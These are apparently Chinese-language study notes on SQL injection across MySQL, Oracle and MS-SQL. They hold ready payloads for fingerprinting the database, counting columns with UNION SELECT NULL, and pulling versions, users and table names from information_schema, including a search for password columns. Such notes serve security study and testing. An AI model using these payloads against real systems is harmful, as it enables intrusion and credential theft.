注释:-- (含空格)或#
注入字符串:
1、‘
2、’‘
3、连接符:Mysql:’ ‘A(空格)
Oracle:'||'A
MS-SQL:'+'A
注入数字:
1、表达式
2、SQL关键字表达式:67-ASCII(‘A’)
3、单引号被过滤时,基于必要时的隐式转换:51-ASCII(1)
PS:URL编码:
1、&:%26 =:%3d
2、空格:+或%20
3、+含义用%2b编码
4、;用%3b不表示分隔cookie字段
注入查询结构:
1、对于ORDER BY结构,提交1,2,3,。。。且此结构可知道查询结果共多少列
2、1 ASC
1 DESC
不接受UNION,WHERE等关键字,用嵌套查询代替参数
区分数据库方式:
Oracle:BITAND(1,1)-BITAND(1,1)
MS-SQL:@@PACK_RECEIVED-@@PACK_RECEIVED
Mysql:CONNECTION_ID()-CONNECTION_ID()
Mysql处理行内注释:
/*!32302 and 1=0 */
如上,以!开头,接数据库版本信息,则若实际版本高于或等于注释中的版本,注释中内容解释为sql
UNION组合的列,列数必须相同,且数据类型兼容;NULL可以转换为任何数据类型,占据一列,未知数据类型可以用NULL填充
确定列数:
1、用ORDER BY语句
2、' union select null--
' union select null,null--
直到出现查询结果
确定字符串列:
确定列数后,将上面确定列数的注入语句其中一个null改为字符串‘a’,循环测试所有列
PS:Oracle每个select语句必须有from,可用全局表DUAL
提取数据库版本:
MS-SQL,Mysql:@@version,version()
Oracle: select banner from v$version
user()可以提取连接数据库的用户名
database()提取数据库名称
提取有用信息:
利用元数据库information_schema:
1、information_schema.columns:所有数据库表名和列名,table_name,column_name
PS:可以查询特定有用信息,利用where子句 select table_name,column_name from information_schema.columns where column_name like '%pass%'
2、information_schema.schemata:数据库名称。schema_name
PS:连接查询结果列:oracle: table_name||':'||column_name
MS-SQL:table_name+':'+column_name
Mysql: CONCAT(table_name,':',column_name)